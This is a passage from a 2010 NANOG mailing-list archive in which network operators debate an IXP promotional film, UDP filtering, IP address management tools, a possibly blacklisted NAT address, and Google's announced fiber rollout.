instead of private peering or alike. I'd say it contains several factual errors or at least omittance of important factors (settlement free peering in other ways than IXPs, for instance, is hardly mentioned). -- Mikael Abrahamsson email: swmike at swm.pp.se From khuon at neebu.net Wed Feb 10 03:30:58 2010 From: khuon at neebu.net (Jake Khuon) Date: Wed, 10 Feb 2010 01:30:58 -0800 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: References: <1265789888.9053.7.camel@localhost> Message-ID: <1265794258.9053.13.camel@localhost> On Wed, 2010-02-10 at 09:55 +0100, Mikael Abrahamsson wrote: > On Wed, 10 Feb 2010, Jake Khuon wrote: > > > Excellent production. > > ... but still an advertisement for use of IXPs instead of private peering > or alike. I'd say it contains several factual errors or at least omittance > of important factors (settlement free peering in other ways than IXPs, for > instance, is hardly mentioned). Well, yes. Obviously it is meant to highlight the roles of public exchanges. That much is obvious. And given the source of the production it would seem to be expected. It did touch on private interconnects although you're right to point out that it doesn't weigh in on the pros and cons of public vs private peering, shared switch fabric vs direct connections, etc. But in a 5 min video, I wouldn't expect it to nor would I expect it to be appropriate for its intended audience. I didn't think this was supposed to be a screen adaptation of Norton's peering whitepapers. -- /*=================[ Jake Khuon ]=================+ | Packet Plumber, Network Engineers /| / [~ [~ |) | | -------- | | for Effective Bandwidth Utilisation / |/ [_ [_ |) |_| NETWORKS | +==================================================================*/ From truman at suspicious.org Wed Feb 10 05:45:03 2010 From: truman at suspicious.org (Truman Boyes) Date: Wed, 10 Feb 2010 22:45:03 +1100 Subject: about udp 80,8080,0 In-Reply-To: <16720fe01002091001u6cd637a6y5ce195795f2458b7@mail.gmail.com> References: <0.89897600_1265716669@chol.com> <4B719518.8000300@csuohio.edu> <16720fe01002091001u6cd637a6y5ce195795f2458b7@mail.gmail.com> Message-ID: <1702A47F-F524-4A0B-824E-1612FD53DEC8@suspicious.org> On 10/02/2010, at 5:01 AM, Jeffrey Lyon wrote: > If you don't need UDP, disallow it to your entire network or to the > /xx where such is applicable. We have basic filters like this with our > carriers upstream and have prevented several Gbps of traffic from ever > hitting our filters as a result. > > Jeff While this may be suitable in small networks, this type of heavy handed control will simply cause you more problems in the long run. There are just too many applications that use UDP to restrict it to exceptions. UDP isn't the problem, it's just a method of the attack. Truman > > 2010/2/9 Michael Holstein : >> >>> What does application use 8.8080,0 port for the proper purpose? >>> >>> >> >> I've seen newer BitTorrent clients do this (UDP is supported, and the >> port can be arbitrary). >> >> >> Cheers, >> >> Michael Holstein >> Cleveland State University >> >> > > > > -- > Jeffrey Lyon, Leadership Team > jeffrey.lyon at blacklotus.net | http://www.blacklotus.net > Black Lotus Communications of The IRC Company, Inc. > > Follow us on Twitter at http://twitter.com/ddosprotection to find out > about news, promotions, and (gasp!) system outages which are updated > in real time. > > Platinum sponsor of HostingCon 2010. Come to Austin, TX on July 19 - > 21 to find out how to "protect your booty." > From mark at streamservice.nl Wed Feb 10 05:45:30 2010 From: mark at streamservice.nl (Mark Scholten) Date: Wed, 10 Feb 2010 12:45:30 +0100 Subject: ip address management In-Reply-To: <4B6B9379.7020802@nethead.de> References: <23079564.1196.1265257921131.JavaMail.root@mail.absfoc.com> <4B6B9379.7020802@nethead.de> Message-ID: <02b101caaa46$8c381a00$a4a84e00$@nl> Hello, I am also working on creating a IP address management tool (including changing rDNS), of course it should work with IPv4 and IPv6. If someone is interested in it, please mail me (so I know I have to inform him/her when I release it). If there are certain features that I should include and are not listed please also inform me about it (by email or via the forum on mscholten.eu). Features I have now on my list: - IPv4 support (including ranges, like a /29) - IPv6 support (including ranges, like a /64) - Multi user support (admin - user level 3 - user level 2 - user level 1), a user can create users on lower levels to edit how IPs are assigned from their ranges to their customers (nice for companies with resellers!), of course you could also only create level 1 users. - Multi language support (with language files to translate) - Change rDNS (based on changing PTR records in a MySQL database that could be used by PowerDNS and a script will be provided to convert the MySQL database to Bind files) Current requirements (to host it, this is what I use to test it, other specs may also work): - To use the rDNS: PowerDNS or Bind nameservers - PHP5 (with MySQLi extension and pear packages Net_IPv4 and Net_IPv6) - MySQL 5 - The option to create a cron if you want to convert the database to a Bind file The planned release date for the first version is this month. With kind regards, Mark Scholten From regnauld at nsrc.org Wed Feb 10 05:55:45 2010 From: regnauld at nsrc.org (Phil Regnauld) Date: Wed, 10 Feb 2010 12:55:45 +0100 Subject: ip address management In-Reply-To: <02b101caaa46$8c381a00$a4a84e00$@nl> References: <23079564.1196.1265257921131.JavaMail.root@mail.absfoc.com> <4B6B9379.7020802@nethead.de> <02b101caaa46$8c381a00$a4a84e00$@nl> Message-ID: <20100210115544.GA82765@macbook.catpipe.net> Mark Scholten (mark) writes: > Hello, > > I am also working on creating a IP address management tool (including > changing rDNS), of course it should work with IPv4 and IPv6. If someone is > interested in it, please mail me (so I know I have to inform him/her when I > release it). If there are certain features that I should include and are not > listed please also inform me about it (by email or via the forum on > mscholten.eu). Hi Mark, Considering the number of existing projects that have been mentioned in the last couple of weeks here, and those that haven't, wouldn't it be a good idea to see if any of the existing ones can be adapted or patches sent to the authors so that the required features are integrated ? Not trying to discourage you, and more choice is always good, but it does tend to get confusing ;) > Features I have now on my list: > - Multi user support (admin - user level 3 - user level 2 - user level 1), a > user can create users on lower levels to edit how IPs are assigned from > their ranges to their customers (nice for companies with resellers!), of > course you could also only create level 1 users. Ideally you should consider some form of role based access control: Create roles, assign users and groups to them, and give rights to the roles. > - Multi language support (with language files to translate) > - Change rDNS (based on changing PTR records in a MySQL database that could > be used by PowerDNS and a script will be provided to convert the MySQL > database to Bind files) ... or dynamic updates. > Current requirements (to host it, this is what I use to test it, other specs > may also work): > - To use the rDNS: PowerDNS or Bind nameservers > - PHP5 (with MySQLi extension and pear packages Net_IPv4 and Net_IPv6) > - MySQL 5 > - The option to create a cron if you want to convert the database to a Bind > file > > The planned release date for the first version is this month. That's ambitious :) I've designed and co-developed at least 2 platforms similar to the above, and if you really insist on going this way, I think you should publish some requirement specifications somewhere, and let others come with comments. Nanog is a good starting point, but since this touches on DNS as well, I'm sure a dedicated project page would be more useful, with possibly a wiki to update said specs. Cheers, Phil From patrick at ianai.net Wed Feb 10 07:55:38 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Wed, 10 Feb 2010 08:55:38 -0500 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: References: <1265789888.9053.7.camel@localhost> Message-ID: <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> On Feb 10, 2010, at 3:55 AM, Mikael Abrahamsson wrote: > On Wed, 10 Feb 2010, Jake Khuon wrote: > >> Excellent production. > > ... but still an advertisement for use of IXPs instead of private peering or alike. I'd say it contains several factual errors or at least omittance of important factors (settlement free peering in other ways than IXPs, for instance, is hardly mentioned). Could you point to a single factual error please? That is a serious charge to just throw out without a single word to back up your claim. And no, "omittance of important factors" is not a "factual error" in a 5 minute video of a wide and amazingly complex topic. Put another way: If you think you can do better, then let's see your video. -- TTFN, patrick From swmike at swm.pp.se Wed Feb 10 08:46:06 2010 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Wed, 10 Feb 2010 15:46:06 +0100 (CET) Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> Message-ID: On Wed, 10 Feb 2010, Patrick W. Gilmore wrote: > And no, "omittance of important factors" is not a "factual error" in a 5 > minute video of a wide and amazingly complex topic. I guess we can agree to disagree then. I think it's highly biased towards promoting IXPs, and it gives the impression that private peering isn't settlement free and that it can't be used to do what an IXP does. It just doesn't say so explicitly, but implies that it is so by the flow of how things are said and in what order. It sets private connects against IXPs, and then describes all things an IXP can be used for, thus giving the impression that the PNI can't do this. But one factual error for instance, a TCP session (a picture being transfrred) doesn't take multiple paths, that's just wrong to say so. So showing a picture being chopped up in packets and sent over different paths, well that just doesn't happen in normal operation. > Put another way: If you think you can do better, then let's see your video. I'm very happy someone is willing to do these kinds of videos, and if you don't want peoples feedback, then just say so. -- Mikael Abrahamsson email: swmike at swm.pp.se From LarrySheldon at cox.net Wed Feb 10 09:18:37 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Wed, 10 Feb 2010 09:18:37 -0600 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> Message-ID: <4B72CE4D.9070508@cox.net> On 2/10/2010 7:55 AM, Patrick W. Gilmore wrote: > On Feb 10, 2010, at 3:55 AM, Mikael Abrahamsson wrote: >> On Wed, 10 Feb 2010, Jake Khuon wrote: >> >>> Excellent production. I'll go with that. >> ... but still an advertisement for use of IXPs instead of private peering or alike. I'd say it contains several factual errors or at least omittance of important factors (settlement free peering in other ways than IXPs, for instance, is hardly mentioned). > > Could you point to a single factual error please? That is a serious charge to just throw out without a single word to back up your claim. > > And no, "omittance of important factors" is not a "factual error" in a 5 minute video of a wide and amazingly complex topic. > > Put another way: If you think you can do better, then let's see your video. That is definitely the best answer--if you don't like it, do one (at your expense of time and other resources) that you like better. I think I am probably a member of the target audience, and I though it was great (and recommended it to other folk). Amazing how many people there are that can't do it, but can find fault with those that can and do. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From lists at netrogenic.com Wed Feb 10 09:29:10 2010 From: lists at netrogenic.com (Jay Ess) Date: Wed, 10 Feb 2010 16:29:10 +0100 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: <4B72CE4D.9070508@cox.net> References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> <4B72CE4D.9070508@cox.net> Message-ID: <4B72D0C6.8080005@netrogenic.com> Larry Sheldon wrote: > That is definitely the best answer--if you don't like it, do one (at > your expense of time and other resources) that you like better. > > Zzz. > I think I am probably a member of the target audience, and I though it > was great (and recommended it to other folk). > > I like it for what it was. But i agree with Mike's points. This video is something i could show my mother when she asks "how the Internet works" and thats pretty much it. > Amazing how many people there are that can't do it, but can find fault > with those that can and do. > > So, for example, if i don't like how a car works i must be able to build a car to be allowed to voice my opinion? From abalashov at evaristesys.com Wed Feb 10 09:32:33 2010 From: abalashov at evaristesys.com (Alex Balashov) Date: Wed, 10 Feb 2010 10:32:33 -0500 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> Message-ID: <4B72D191.6070502@evaristesys.com> On 02/10/2010 09:46 AM, Mikael Abrahamsson wrote: > But one factual error for instance, a TCP session (a picture being > transfrred) doesn't take multiple paths, that's just wrong to say so. So > showing a picture being chopped up in packets and sent over different > paths, well that just doesn't happen in normal operation. But it introduces the audience to the idea that the packets *could* be routed over multiple paths in principle, even if it would constitute evidence of abnormal operation to have this happen within a single session. I think that's the intended take-away, from a pedagogical perspective. -- Alex Balashov - Principal Evariste Systems LLC Tel : +1 678-954-0670 Direct : +1 678-954-0671 Web : http://www.evaristesys.com/ From dylan.ebner at crlmed.com Wed Feb 10 09:35:47 2010 From: dylan.ebner at crlmed.com (Dylan Ebner) Date: Wed, 10 Feb 2010 15:35:47 +0000 Subject: black listing of web traffic In-Reply-To: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> References: <90ccfc91002091135s64daaab1n141c92bff5095d64@mail.gmail.com> Message-ID: <017265BF3B9640499754DD48777C3D2067B55D29EA@MBX9.EXCHPROD.USA.NET> You mentioned this was a student network. Could it be your students are running bit torrent clients and your ISP doesn't like that so they are rate limiting you? This might explain why apple loads and facebook doesn't. I do not know much about facebooks architecture, but I would guess they would use a CDN or have their own so the facebook traffic would stay entirely in your ISP's network(less need to rate limit) and apples traffic may need to go through a peer. Or, could it be your students are running bit torrent and exhausting the state tables on your firewall. Dylan Ebner, Network Engineer Consulting Radiologists, Ltd. -----Original Message----- From: Andrey Gordon [mailto:andrey.gordon at gmail.com] Sent: Tuesday, February 09, 2010 1:35 PM To: Nanog Subject: black listing of web traffic Hi list I have a problem that I can't seem to find a solution to yet. My student network is being NATted out and anyone who's on that network had troubles accessing random websites. For example, going to www.apple.com or www.facebook.com would work great, but store.apple.com would either not load or take forever to open up. I've had that problem last week and thought I tracked it down to the NAT ip being black listed with one of the span black lists. Even though that IP is not used for mail out, that somehow seemed to affect it. Changing it to a different one seemed to solve the problem and I got that original address of the list in the mean time. Changed it back and everything was well, until today. Same symptoms, but now I don't see us listed anywhere. The best description of the symptoms seems to be that that IP is rate limited or something. Anyone seen that? Are there any blacklists for web access? PS. I checked everything under my control and i don't see a bottle neck anywhere or anything like and IPS working up or something.... ----- Andrey Gordon [andrey.gordon at gmail.com] From patrick at ianai.net Wed Feb 10 09:41:10 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Wed, 10 Feb 2010 10:41:10 -0500 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> Message-ID: On Feb 10, 2010, at 9:46 AM, Mikael Abrahamsson wrote: > On Wed, 10 Feb 2010, Patrick W. Gilmore wrote: > >> And no, "omittance of important factors" is not a "factual error" in a 5 minute video of a wide and amazingly complex topic. > > I guess we can agree to disagree then. I think it's highly biased towards promoting IXPs, and it gives the impression that private peering isn't settlement free and that it can't be used to do what an IXP does. It just doesn't say so explicitly, but implies that it is so by the flow of how things are said and in what order. It sets private connects against IXPs, and then describes all things an IXP can be used for, thus giving the impression that the PNI can't do this. Agree to disagree is right. The film is called "The Internet Revealed: _A_film_about_IXPs_". You find it strange that the film would actually focus on IXPs. I find it strange that you couldn't figure this out before clicking play. As for implying private x-conns are paid for, I did not get that at all. They start with the fact some companies use private connections and say "more and more traffic is flowing through shared service platforms we call Internet Exchange Points". Seems perfectly reasonable to me. > But one factual error for instance, a TCP session (a picture being transfrred) doesn't take multiple paths, that's just wrong to say so. So showing a picture being chopped up in packets and sent over different paths, well that just doesn't happen in normal operation. That's just wrong to say? Thank you for proving yourself not qualified to discuss the subject at hand. >> Put another way: If you think you can do better, then let's see your video. > > I'm very happy someone is willing to do these kinds of videos, and if you don't want peoples feedback, then just say so. Me? I had nothing to do with the video. That said, I will concede that you should not have to make your own to be allow to comment on someone else's. (See point in Jay's post about making cars.) However, I do believe you should know how the Internet works. And if you honestly believe packets in a single stream cannot travel over different paths, you clearly do not. And before you come back with BS about "normal operation" or such, realize your statement was far more "factually incorrect" than what the video said about private interconnects. -- TTFN, patrick From patrick at ianai.net Wed Feb 10 09:42:46 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Wed, 10 Feb 2010 10:42:46 -0500 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: <4B72D0C6.8080005@netrogenic.com> References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> <4B72CE4D.9070508@cox.net> <4B72D0C6.8080005@netrogenic.com> Message-ID: On Feb 10, 2010, at 10:29 AM, Jay Ess wrote: >> I think I am probably a member of the target audience, and I though it >> was great (and recommended it to other folk). >> > I like it for what it was. But i agree with Mike's points. > This video is something i could show my mother when she asks "how the > Internet works" and thats pretty much it. There are 100s of people in my company who could benefit from seeing the video, and probably quite a few on this very list. Not everyone who works on the Internet is a routing engineer. -- TTFN, patrick From nick at foobar.org Wed Feb 10 09:53:25 2010 From: nick at foobar.org (Nick Hilliard) Date: Wed, 10 Feb 2010 15:53:25 +0000 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> Message-ID: <4B72D675.6000908@foobar.org> On 10/02/2010 14:46, Mikael Abrahamsson wrote: > I guess we can agree to disagree then. I think it's highly biased > towards promoting IXPs, Uh, it was produced and paid for by IXPs for the intention of promoting IXPs. Why do you have an issue with this? > and it gives the impression that private peering > isn't settlement free and that it can't be used to do what an IXP does. > It just doesn't say so explicitly, but implies that it is so by the flow > of how things are said and in what order. It sets private connects > against IXPs, and then describes all things an IXP can be used for, thus > giving the impression that the PNI can't do this. Call me glib, but if you can get the association of PNI providers together to create a movie about what PNIs are and how they work, I'd be ok if they glossed over IXPs. > But one factual error for instance, a TCP session (a picture being > transfrred) doesn't take multiple paths, that's just wrong to say so. ECMP? Per packet load balancing, even? Again, the point they were making is that the path from A to B is not particularly important to the data being transferred. Look, the creators of the movie had 5 minutes to explain something so that regular Janes and Joes would understand, rather than 1 hour to give a nerdy in-depth explanation of the nuts and bolts of IXPs. Personally, I think they did a rather good job. Nick (day job: contract IXP operations) From LarrySheldon at cox.net Wed Feb 10 09:56:25 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Wed, 10 Feb 2010 09:56:25 -0600 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: <4B72D091.4070701@netrogenic.com> References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> <4B72CE4D.9070508@cox.net> <4B72D091.4070701@netrogenic.com> Message-ID: <4B72D729.5090508@cox.net> On 2/10/2010 9:28 AM, Jay Ess wrote: > So, for example, if i don't like how a car works i must be able to build > a car to be allowed to voice my opinion? How much did you pay for the video? -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From LarrySheldon at cox.net Wed Feb 10 09:58:58 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Wed, 10 Feb 2010 09:58:58 -0600 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> <4B72CE4D.9070508@cox.net> <4B72D0C6.8080005@netrogenic.com> Message-ID: <4B72D7C2.8020308@cox.net> On 2/10/2010 9:42 AM, Patrick W. Gilmore wrote: > Not everyone who works on the Internet is a routing engineer. I(including some who bill themselves as such. But that is for a different rant. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From Chris.Campbell at nebulassolutions.com Wed Feb 10 09:59:49 2010 From: Chris.Campbell at nebulassolutions.com (Chris Campbell) Date: Wed, 10 Feb 2010 15:59:49 +0000 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: <4B72D0C6.8080005@netrogenic.com> References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> <4B72CE4D.9070508@cox.net> <4B72D0C6.8080005@netrogenic.com> Message-ID: -----Original Message----- From: Jay Ess [mailto:lists at netrogenic.com] Sent: 10 February 2010 15:29 To: nanog at nanog.org Subject: Re: The Internet Revealed - A film about IXPs v2.0: now available > >So, for example, if i don't like how a car works i must be able to build >a car to be allowed to voice my opinion? If you're opinion is that your car is somehow faulty because it doesn't work like your bicycle does you shouldn't be surprised when people choose to ignore it. From cian.brennan at redbrick.dcu.ie Wed Feb 10 10:07:12 2010 From: cian.brennan at redbrick.dcu.ie (Cian Brennan) Date: Wed, 10 Feb 2010 16:07:12 +0000 Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: <4B72D729.5090508@cox.net> References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> <4B72CE4D.9070508@cox.net> <4B72D091.4070701@netrogenic.com> <4B72D729.5090508@cox.net> Message-ID: <20100210160712.GA13625@minerva.redbrick.dcu.ie> On Wed, Feb 10, 2010 at 09:56:25AM -0600, Larry Sheldon wrote: > On 2/10/2010 9:28 AM, Jay Ess wrote: > > > So, for example, if i don't like how a car works i must be able to build > > a car to be allowed to voice my opinion? > > How much did you pay for the video? > What does that matter? Whether you paid for it or not, inaccurate information being passed on is a bad thing (I'm not making any claims about this video. "shut up you didn't pay for it" is just a singularly annoying line of argument in situations like this.) > -- > "Government big enough to supply everything you need is big enough to > take everything you have." > > Remember: The Ark was built by amateurs, the Titanic by professionals. > > Requiescas in pace o email > Ex turpi causa non oritur actio > Eppure si rinfresca > > ICBM Targeting Information: http://tinyurl.com/4sqczs > http://tinyurl.com/7tp8ml > > > -- -- From swmike at swm.pp.se Wed Feb 10 10:50:36 2010 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Wed, 10 Feb 2010 17:50:36 +0100 (CET) Subject: The Internet Revealed - A film about IXPs v2.0: now available In-Reply-To: References: <1265789888.9053.7.camel@localhost> <99297D5A-794C-4130-9E6C-6DF459B9BEE1@ianai.net> Message-ID: On Wed, 10 Feb 2010, Patrick W. Gilmore wrote: > Agree to disagree is right. The film is called "The Internet Revealed: > _A_film_about_IXPs_". You find it strange that the film would actually > focus on IXPs. I find it strange that you couldn't figure this out > before clicking play. If it would have said "The internet revealed - an advertisement for IXPs" I might have been expecting the thing I got. > However, I do believe you should know how the Internet works. And if > you honestly believe packets in a single stream cannot travel over > different paths, you clearly do not. And before you come back with BS > about "normal operation" or such, realize your statement was far more > "factually incorrect" than what the video said about private > interconnects. I'm saying they don't normally do so, as one might believe when looking at the movie. Any core router ECMP algorithm that sprays L4 sessions like that will cause re-ordering which is bad, mkay. But I'll shut up after this, I'm obviously not jaded enough like you other people to just swallow this as "advertisement". I expected a correct factual way of describing how the Internet works including IXPs, not an IXP advertisement. My expectations were obviously wrong from the response I'm seeing. -- Mikael Abrahamsson email: swmike at swm.pp.se From james at jamesstewartsmith.com Wed Feb 10 11:07:29 2010 From: james at jamesstewartsmith.com (James Smith) Date: Wed, 10 Feb 2010 12:07:29 -0500 Subject: Q9 BGP contact needed, urgently Message-ID: Please contact me off list. -- James Smith From charles at knownelement.com Wed Feb 10 14:30:39 2010 From: charles at knownelement.com (Charles N Wyble) Date: Wed, 10 Feb 2010 12:30:39 -0800 Subject: Google to offer fiber to end users Message-ID: <4B73176F.5050306@knownelement.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 http://www.businessweek.com/news/2010-02-10/google-plans-to-build-high-speed-fiber-optic-networks-update2-.html http://googleblog.blogspot.com/2010/02/think-big-with-gig-our-experimental.html What do folks think? Granted it's very early on, and g00g could decide to never leave the announce phase. - -- Charles N Wyble Linux Systems Engineer (818)280-7059 charles at knownelement.com -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAktzF2sACgkQJmrRtQ6zKE91lwCgjdYmEewZtPb2iFM6VZMW5Xce ydkAoI+ycZQ1JYLoZt7yL04CliGXRLoc =4eps -----END PGP SIGNATURE----- From sethm at rollernet.us Wed Feb 10 14:56:24 2010 From: sethm at rollernet.us (Seth Mattinen) Date: Wed, 10 Feb 2010 12:56:24 -0800 Subject: Google to offer fiber to end users In-Reply-To: <4B73176F.5050306@knownelement.com> References: <4B73176F.5050306@knownelement.com> Message-ID: <4B731D78.4050505@rollernet.us> On 2/10/2010 12:30, Charles N Wyble wrote: > http://www.businessweek.com/news/2010-02-10/google-plans-to-build-high-speed-fiber-optic-networks-update2-.html > http://googleblog.blogspot.com/2010/02/think-big-with-gig-our-experimental.html > > What do folks think? > Optimistic view: It can force the incumbents into being competitive on service and everyone wins. Pessimistic view: incumbents feel threatened and try to sue/lobby it away to keep the status quo like they did with cities trying to offer wifi or FTTH. ~Seth From jared at puck.nether.net Wed Feb 10 14:57:43 2010 From: jared at puck.nether.net (Jared Mauch) Date: Wed, 10 Feb 2010 15:57:43 -0500 Subject: Google to offer fiber to end users In-Reply-To: <4B73176F.5050306@knownelement.com> References: <4B73176F.5050306@knownelement.com> Message-ID: I think it's great! I've been preparing to float a similar idea locally. If this is how they use their market cap, I would love for them to do it in my local market, which does seem to hold a near-and-dear place in the heart of some google C* types. - Jared * Local details/breakdown: http://puck.nether.net/~jared/blog/?p=84 On Feb 10, 2010, at 3:30 PM, Charles N Wyble wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > http://www.businessweek.com/news/2010-02-10/google-plans-to-build-high-speed-fiber-optic-networks-update2-.html > http://googleblog.blogspot.com/2010/02/think-big-with-gig-our-experimental.html > > What do folks think? > > Granted it's very early on, and g00g could decide to never leave the > announce phase. > > > > > - -- > Charles N Wyble > Linux Systems Engineer > (818)280-7059 charles at knownelement.com > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAktzF2sACgkQJmrRtQ6zKE91lwCgjdYmEewZtPb2iFM6VZMW5Xce > ydkAoI+ycZQ1JYLoZt7yL04CliGXRLoc > =4eps > -----END PGP SIGNATURE----- From brandon.galbraith at gmail.com Wed Feb 10 14:59:07 2010 From: brandon.galbraith at gmail.com (Brandon Galbraith) Date: Wed, 10 Feb 2010 14:59:07 -0600 Subject: Google to offer fiber to end users In-Reply-To: <4B731D78.4050505@rollernet.us> References: <4B73176F.5050306@knownelement.com> <4B731D78.4050505@rollernet.us> Message-ID: <366100671002101259o2be0fa10wc2804b90dea374bb@mail.gmail.com> On Wed, Feb 10, 2010 at 2:56 PM, Seth Mattinen wrote: > On 2/10/2010 12:30, Charles N Wyble wrote: > > > http://www.businessweek.com/news/2010-02-10/google-plans-to-build-high-speed-fiber-optic-networks-update2-.html > > > http://googleblog.blogspot.com/2010/02/think-big-with-gig-our-experimental.html > > > > What do folks think? > > > > Optimistic view: It can force the incumbents into being competitive on > service and everyone wins. > > Pessimistic view: incumbents feel threatened and try to sue/lobby it > away to keep the status quo like they did with cities trying to offer > wifi or FTTH. > > Google cash > Muni cash. I'm not saying it'll work, but they have many more resources at their disposal. Incumbents should be worried. > ~Seth > > -- Brandon Galbraith Mobile: 630.400.6992 FNAL: 630.840.2141 From dhubbard at dino.hostasaurus.com Wed Feb 10 15:00:16 2010 From: dhubbard at dino.hostasaurus.com (David Hubbard) Date: Wed, 10 Feb 2010 16:00:16 -0500 Subject: Google to offer fiber to end users Message-ID: On 2/10/2010 12:30, Charles N Wyble wrote: > > http://www.businessweek.com/news/2010-02-10/google-plans-to-build-high-s peed-fiber-optic-networks-update2-.html > > http://googleblog.blogspot.com/2010/02/think-big-with-gig-our-experiment al.html > > What do folks think? > > Residential computers with enough bandwidth to DoS hosting providers; that should be fun. Maybe it will encourage the incumbant ISP's to start offering users meaningful bgp communities since they won't be able to keep up with the abuse reports. David From james at freedomnet.co.nz Wed Feb 10 15:05:45 2010 From: james at freedomnet.co.nz (James Jones) Date: Wed, 10 Feb 2010 16:05:45 -0500 Subject: Google to offer fiber to end users In-Reply-To: References: Message-ID: <4B731FA9.6040205@freedomnet.co.nz> ROFL On 2/10/10 4:00 PM, David Hubbard wrote: > Residential computers with enough bandwidth to DoS > hosting providers; that should be fun. Maybe it will > encourage the incumbant ISP's to start offering users > meaningful bgp communities since they won't be able > to keep up with the abuse reports. > > David > From standalone.sysadmin at gmail.com Wed Feb 10 15:15:35 2010 From: standalone.sysadmin at gmail.com (Matt Simmons) Date: Wed, 10 Feb 2010 16:15:35 -0500 Subject: Google to offer fiber to end users In-Reply-To: <4B73176F.5050306@knownelement.com> References: <4B73176F.5050306@knownelement.com> Message-ID: <5bcb62b61002101315t4aa0e299o12c2da2f5ab8ff36@mail.gmail.com> I'm really interested in their distribution ideas, as well as the bottleneck from the Google network to the rest of the internet. Ah, who am I kidding, it's not like anyone cares about the rest of the internet, right? --Matt On Wed, Feb 10, 2010 at 3:30 PM, Charles N Wyble wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > http://www.businessweek.com/news/2010-02-10/google-plans-to-build-high-speed-fiber-optic-networks-update2-.html > http://googleblog.blogspot.com/2010/02/think-big-with-gig-our-experimental.html > > What do folks think? > > Granted it's very early on, and g00g could decide to never leave the > announce phase. > > > > > - -- > Charles N Wyble > Linux Systems Engineer > (818)280-7059 charles at knownelement.com > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org > > iEYEARECAAYFAktzF2sACgkQJmrRtQ6zKE91lwCgjdYmEewZtPb2iFM6VZMW5Xce > ydkAoI+ycZQ1JYLoZt7yL04CliGXRLoc > =4eps > -----END PGP SIGNATURE----- > > -- LITTLE GIRL: But which cookie will you eat FIRST? COOKIE MONSTER: Me think you have misconception of cookie-eating process. From fw at deneb.enyo.de Wed Feb 10 15:45:04 2010 From: fw at deneb.enyo.de (Florian Weimer) Date: Wed, 10 Feb 2010 22:45:04 +0100 Subject: Google to offer fiber to end users In-Reply-To: (David Hubbard's message of "Wed, 10 Feb 2010 16:00:16 -0500") References: Message-ID: <87bpfwix3z.fsf@mid.deneb.enyo.de> * David Hubbard: > Residential computers with enough bandwidth to DoS > hosting providers; that should be fun. How is this different from a typical dorm network? (Perhaps with all that P2P filtering software in place, it's a mere self-DoS nowadays, but the analogy was not that far off five years ago or so, with less bandwidth, of course.) From charles at knownelement.com Wed Feb 10 15:57:43 